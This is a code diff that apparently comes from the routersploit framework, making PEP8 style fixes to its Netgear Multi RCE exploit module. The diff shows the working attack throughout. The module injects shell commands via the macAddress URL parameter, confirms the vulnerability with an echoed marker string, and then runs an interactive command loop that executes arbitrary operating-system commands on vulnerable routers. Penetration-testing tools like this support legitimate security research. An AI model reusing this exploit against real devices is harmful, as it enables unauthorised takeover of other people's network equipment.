Fixing PEP8 violations.

routersploit/modules/exploits/netgear/multi_rce.py

 import requests
-import re
 
 from routersploit import (
     exploits,
     print_status,
     print_success,
+    print_info,
     print_error,
     sanitize_url,
 )
@@ -17,7 +17,8 @@ class Exploit(exploits.Exploit):
     """
     __info__ = {
         'name': 'Netgear Multi RCE',
-        'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
+        'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is '
+                       'vulnerable, command loop is invoked that allows executing commands on operating system level.',
         'authors': [
             'Andrei Costin <andrei[at]firmware.re>',  # vulnerability discovery
             'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
@@ -50,7 +51,7 @@ class Exploit(exploits.Exploit):
     valid_resource = None
 
     def run(self):
-        if self.check() == True:
+        if self.check():
             print_success("Target is vulnerable")
             print_status("Invoking command loop...")
             print_status("It is blind command injection - response is not available")
@@ -61,13 +62,14 @@ class Exploit(exploits.Exploit):
     def command_loop(self):
         while 1:
             cmd = raw_input("cmd > ")
-            print self.execute(cmd)
+            print_info(self.execute(cmd))
 
     def execute(self, cmd):
-        url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))
+        url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
+                           "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd))
 
         try:
-            r = requests.get(url)
+            requests.get(url)
         except requests.exceptions.MissingSchema:
             return "Invalid URL format: %s" % url
         except requests.exceptions.ConnectionError:
@@ -76,21 +78,20 @@ class Exploit(exploits.Exploit):
         return ""
 
     def check(self):
-        # meaby random mark should be implemented
+        # maybe random mark should be implemented
         cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af"
 
         for resource in self.resources:
-            url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd))
-            
+            url = sanitize_url("{}:{}/{}?writeData=true&reginfo=0&macAddress= "
+                               "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd))
             try:
-                r = requests.get(url)
+                response = requests.get(url)
             except:
-                return None # could not be verified
+                return None  # could not be verified
 
-            if r.status_code == 200:
-                res = r.text
-
-                if "Update Success!" in res and "9fdbd928b52c1ef61615a6fd2e8b49af" in res:
+            if response.status_code == 200:
+                response_body = response.text
+                if "Update Success!" in response_body and "9fdbd928b52c1ef61615a6fd2e8b49af" in response_body:
                     self.valid_resource = resource
                     return True